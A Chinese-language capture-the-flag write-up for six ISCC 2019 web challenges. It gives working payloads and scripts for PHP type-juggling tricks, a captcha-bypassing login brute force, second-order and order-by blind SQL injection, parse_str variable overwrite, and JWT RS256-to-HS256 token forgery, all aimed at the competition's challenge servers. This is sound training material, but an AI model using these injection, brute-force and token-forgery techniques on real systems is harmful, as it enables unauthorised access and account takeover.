前言

全程都在划水,只提供了几道思路,自己解出来的可能就是最简单的那一两道,然后就是靠各位师傅带我起飞,复现几道web和misc,其他二进制真的不会。。然后在这场比赛需要脑洞大开,flag形式也是变化不定,需要自己去猜格式

web

web1

题目链接:http://39.100.83.188:8001/

进入链接直接就有了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
require 'flag.php';
$value = $_GET['value'];
$password = $_GET['password'];
$username = '';

for ($i = 0; $i < count($value); ++$i) {
if ($value[$i] > 32 && $value[$i] < 127) unset($value);
else $username .= chr($value[$i]);
if ($username == 'w3lc0me_To_ISCC2019' && intval($password) < 2333 && intval($password + 1) > 2333) {
echo 'Hello '.$username.'!', '<br>', PHP_EOL;
echo $flag, '<hr>';
}
}

highlight_file(__FILE__);

源码分析:

username=’w3lc0me_To_ISCC2019’是由value的值通过chr()函数拼接起来的,查询chr()函数的特性,chr()返回的是ASCII码,并且我们所输入的ASCII码要小于32或者大于127,否则就会被unset(),直接传入w3lc0me_To_ISCC2019,则对应的ASCII码会被unset,然后查看官方的chr()相关手册,发现chr()对传入的数字会进行 mod 256 运算,取余


在官方手册的上方就可以看到ord()函数,发现ord()函数是chr()函数的反函数,所以考虑用脚本进行恢复

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//以下脚本来自队友
s="w3lc0me_To_ISCC2019"
values=""
s1="&value[]="

for i in s:
value = ord(i)+256
values=values + s1 + str(value)

print(values)


//获得的内容
&value[]=375&value[]=307&value[]=364&value[]=355&value[]=304&value[]=365&value[]=357&value[]=351&value[]=340&value[]=367&value[]=351&value[]=329&value[]=339&value[]=323&value[]=323&value[]=306&value[]=304&value[]=305&value[]=313

解决了这个问题就还剩下后面的intval($password) < 2333 && intval($password + 1) > 2333),同样查看intval()函数的特性,当看到这条特性时:

我们知道intval函数处理字符串时,会从头开始检测到除数字外的字母为止,而在代码中intval($password + 1) > 2333,是先将$password + 1后再通过intval进行处理,那么如果我们传入的是十六进制数,例如0x10,那intval(‘0x10’)结果是0,而intval(‘0x10’+1)结果为17

所以我们只要构造以下playload就可以啦:

1
http://39.100.83.188:8001/?&value[]=375&value[]=307&value[]=364&value[]=355&value[]=304&value[]=365&value[]=357&value[]=351&value[]=340&value[]=367&value[]=351&value[]=329&value[]=339&value[]=323&value[]=323&value[]=306&value[]=304&value[]=305&value[]=313&password=0x91d

flag{8311873e241ccad54463eaa5d4efc1e9}

web2

题目链接:http://39.100.83.188:8002/

进入题目,发现是要爆破密码及绕过图片验证码,然后就在网上找了一个工具:PKAV HTTP Fuzzer 1.5.6,工具挺好使的,就是不分图片验证码会出现差错,但是调试一下就行啦

先用bp抓包,获取报文头,放到工具中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /login.php HTTP/1.1
Host: 39.100.83.188:8002
Content-Length: 50
Cache-Control: max-age=0
Origin: http://39.100.83.188:8002
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://39.100.83.188:8002/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=4jc9sbpoccp81v7vnqg51ta124
Connection: close

username=admin&pwd=100&user_code=d2ic&Login=submit

查看源码,获得验证码的获取地址

将地址放入工具中,进行调试:

调试完成后进行密码和验证码标记,推荐一个字典生成工具–木头超级字典集

然后就可以进行发包了:

结束后进行长度排序,就可以看到密码是996

拿到密码,就可以拿到flag啦

flag{996_ICU}

web3

题目链接:http://39.100.83.188:8065

sql-labs 24关原题,考察二次注入

注入点在login_create.php中的username字段,注册用户名为admin’#
之后登录admin’#,username字段就赋值给了session中的username字段

在password_change.php中$username是直接从session中取出的,也就是取出的username为admin’#,拼接到sql语句中:

1
UPDATE users SET PASSWORD='123' where username='admin'#' and password='$curr_pass'

admin用户的密码就被修改为123

但是在这题中没有设置容器,大家都在使用一个数据库,密码也在不断的被人改动,所以会出现改完密码后无法登陆的情况,并且数据库定期修改所有用户密码,所以稳定登陆的方法是不断的发送修改密码的包,如果admin’#用户被注册,可以增加多个#

web4

题目链接:http://39.100.83.188:8066/

进入即可获得源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php 
error_reporting(0);
include("flag.php");
$hashed_key = 'ddbafb4eb89e218701472d3f6c087fdf7119dfdd560f9d1fcbe7482b0feea05a';
$parsed = parse_url($_SERVER['REQUEST_URI']);
if(isset($parsed["query"])){
$query = $parsed["query"];
$parsed_query = parse_str($query);
if($parsed_query!=NULL){
$action = $parsed_query['action'];
}

if($action==="auth"){
$key = $_GET["key"];
$hashed_input = hash('sha256', $key);
if($hashed_input!==$hashed_key){
die("<img src='cxk.jpg'>");
}

echo $flag;
}
}else{
show_source(__FILE__);
}?>

这题的考察点在parse_str变量覆盖,在解析url之后会覆盖原来的变量所以构造
sha256($hash_key=1)=6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

所以构造playload:

1
http://39.100.83.188:8066/?action=auth&hashed_key=6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b&key=1

flag{7he_rea1_f1@g_15_4ere}

web5

题目链接:http://39.100.83.188:8054/

进去很奇怪的就一句话:

队友脑洞打开吧,或者说是做得题目比较少,没那么快想到,在报文头部user-agent字段添加Union.373,然后回应报文会有请输入用户名,在post用户名username=admin回复报文请输入密码,再添加密码password=123,恢复成员密码就是flag

看出是sql注入题,尝试普遍的注入方式,发现过滤了# ()extractvalue sleep and username password等

使用万能密码1’ or ‘1登录,发现有回显出用户名 union_373_Tom

有回显使用联合注入的方式

1
username=union_373_Tom&password=1' union select 1,2,3 or'

但是因为过滤了括号,所以没办法继续子查询,于是参考下面这篇文章

参考文章https://blog.csdn.net/nzjdsds/article/details/81879181

文章中提到可以进行union order by的方法进行盲注,思路简单而言就是通过 union 使查询结果为 union_373_Tom 和我们拼接上的一行查询结果通过 order by 对密码 password 字段进行排序,并根据回显的用户名信息来判断排序的结果,下面的是来自队友的本地测试结果:

并且因为题目password字段需要闭合单引号,所以采用的是order by 3, ‘1,mysql会先根据逗号前面的进行排序,如果数据相等,则使用逗号后的进行排序

最后使用的盲注playload为:

1
username=union_373_Tom&password=1' or '1' union select 1,'a', '1'  order by 3, '1

根据order by是对字符串一位一位的进行比较,所以思路就是对用户密码字段进行逐位进行排序比较,并且通过测试,是根据ASCII码值的大小,并且大小写字符排序相同,测试的字典为:

1
_ZzYyXxWwVvUuTtSsRrQqPpOoNnMmLlKkJjIiHhGgFfEeDdCcBbAa9876543210

python脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests 
url = "http://39.100.83.188:8054"
headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36 Union.373'
}
password = ""
s = "_ZzYyXxWwVvUuTtSsRrQqPpOoNnMmLlKkJjIiHhGgFfEeDdCcBbAa9876543210 "
for i in range(1,33):
for j in s:
p = password + j
data = {
'username':'union_373_Tom',
'password':"1' or '1' union select 1,'hhx','"+p+"' from admin order by 3,'1"
}
r = requests.post(url,data=data,headers=headers)
r.encoding = r.apparent_encoding
if 'hhx' in r.text:
password = password + j
print('password:',password)
break

最后密码为1SCC_2OI9

最后提交得到flag:
flag{1SCC_2OI9}

web6

题目链接:http://39.100.83.188:8053/

注册账户,登录网页端抓包得到回复报文:

但是在回复报文中只有一个token的值有用,将token进行解密

发现是使用jwt生成的token,进入官网https://jwt.io/进行解码,解码之后的格式分为三个部分

Header头部带有加密方式alg:RS256,类型typ:“JWT”

Payload中是用户的信息

签名字段使用 RSASHA256 分别对 header、payload、secret 进行加密。且 RSASHA256 为非对称加密需要 公钥与私钥进行解密

查找前端源码,http://39.100.83.188:8053/static/js/common.js 处发现 ajax 请求,验证头部身份认证。验证成功弹出文件路径。猜测需要构造 admin Token 进而得到admin 的 data.links

在源码底部发现公钥公钥获取方式

访问 urlhttp://39.100.83.188:8053/pubkey/7D53337755615CEF7E90384692F85CFB 得到公钥

1
{"pubkey":"-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDMRTzM9ujkHmh42aXG0aHZk/PK\nomh6laVF+c3+D+klIjXglj7+/wxnztnhyOZpYxdtk7FfpHa3Xh4Pkpd5VivwOu1h\nKk3XQYZeMHov4kW0yuS+5RpFV1Q2gm/NWGY52EaQmpCNFQbGNigZhu95R2OoMtuc\nIC+LX+9V/mpyKe9R3wIDAQAB\n-----END PUBLIC KEY-----","result":true}

因为私钥无法获取到,所以这时我们就需要将算法修改为HS256,如果将算法从RS256更改为HS256,后端代码会使 用公钥作为秘密密钥,然后使用HS256算法验证签名。
生成认证字段的脚本如下:

1
2
3
4
import jwt 
import base64
public = open('1.txt', 'r').read()
print jwt.encode({"name": "iscc19","priv": "admin"}, key=public,algorithm='HS256')

需要将网页上获得的公钥中 \n 替换成换行,并且这里 priv 之前是为 other ,需要修改为 admin 身份,用户名 name 猜测为之前认证字段的 iscc19

需要额外在python2环境下安装 jwt 模块: pip install PyJWT
运行时候需要对 algorithms.py 中 prepare_key 中非法字符注释,否则程序报错。

运行脚本获得字符串

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiaXNjYzE5IiwicHJpdiI6ImFkbWluIn0.bEza2gXi7_q9qPFTSgbu8wWRpmHqHd1FFa-rJKY_38c

带入即可获取 admin 信息

访问 http://39.100.83.188:8053/text/admin:22f1e0aa7a31422ad63480aa27711277 获得 flag

参考链接:
https://www.anquanke.com/post/id/145540

misc(等我考试完就更)